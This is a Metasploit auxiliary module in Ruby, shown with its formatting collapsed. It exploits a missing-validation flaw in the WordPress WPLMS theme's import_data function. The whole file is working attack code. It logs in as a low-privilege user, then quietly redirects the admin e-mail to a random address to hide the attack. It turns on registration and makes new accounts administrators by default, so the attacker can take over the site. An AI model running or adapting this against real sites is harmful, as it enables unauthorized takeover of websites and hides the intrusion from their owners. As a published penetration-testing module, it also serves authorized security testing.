## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super(update_info( info, 'Name' => 'WordPress WPLMS Theme Privilege Escalation', 'Description' => %q{ The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an authenticated user of any user level to set any system option due to a lack of validation in the import_data function of /includes/func.php. The module first changes the admin e-mail address to prevent any notifications being sent to the actual administrator during the attack, re-enables user registration in case it has been disabled and sets the default role to be administrator. This will allow for the user to create a new account with admin privileges via the default registration page found at /wp-login.php?action=register. }, 'Author' => [ 'Evex', # Vulnerability discovery 'Rob Carr ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['WPVDB', '7785'] ], 'DisclosureDate' => 'Feb 09 2015' )) register_options( [ OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) ]) end def check check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2') end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def php_serialize(value) # Only strings and numbers are required by this module case value when String, Symbol "s:#{value.bytesize}:\"#{value}\";" when Integer "i:#{value};" end end def serialize_and_encode(value) serialized_value = php_serialize(value) unless serialized_value.nil? Rex::Text.encode_base64(serialized_value) end end def set_wp_option(name, value, cookie) encoded_value = serialize_and_encode(value) if encoded_value.nil? vprint_error("Failed to serialize #{value}.") else res = send_request_cgi( 'method' => 'POST', 'uri' => wordpress_url_admin_ajax, 'vars_get' => { 'action' => 'import_data' }, 'vars_post' => { 'name' => name, 'code' => encoded_value }, 'cookie' => cookie ) if res.nil? vprint_error("No response from the target.") else vprint_warning("Server responded with status code #{res.code}") if res.code != 200 end return res end end def run print_status("Authenticating with WordPress using #{username}:#{password}...") cookie = wordpress_login(username, password) fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? store_valid_credential(user: username, private: password, proof: cookie) print_good("Authenticated with WordPress") new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com" print_status("Changing admin e-mail address to #{new_email}...") if set_wp_option('admin_email', new_email, cookie).nil? fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address') end print_status("Enabling user registrations...") if set_wp_option('users_can_register', 1, cookie).nil? fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations') end print_status("Setting the default user role...") if set_wp_option('default_role', 'administrator', cookie).nil? fail_with(Failure::UnexpectedReply, 'Failed to set the default user role') end register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register') print_good("Privilege escalation complete") print_good("Create a new account at #{register_url} to gain admin access.") end end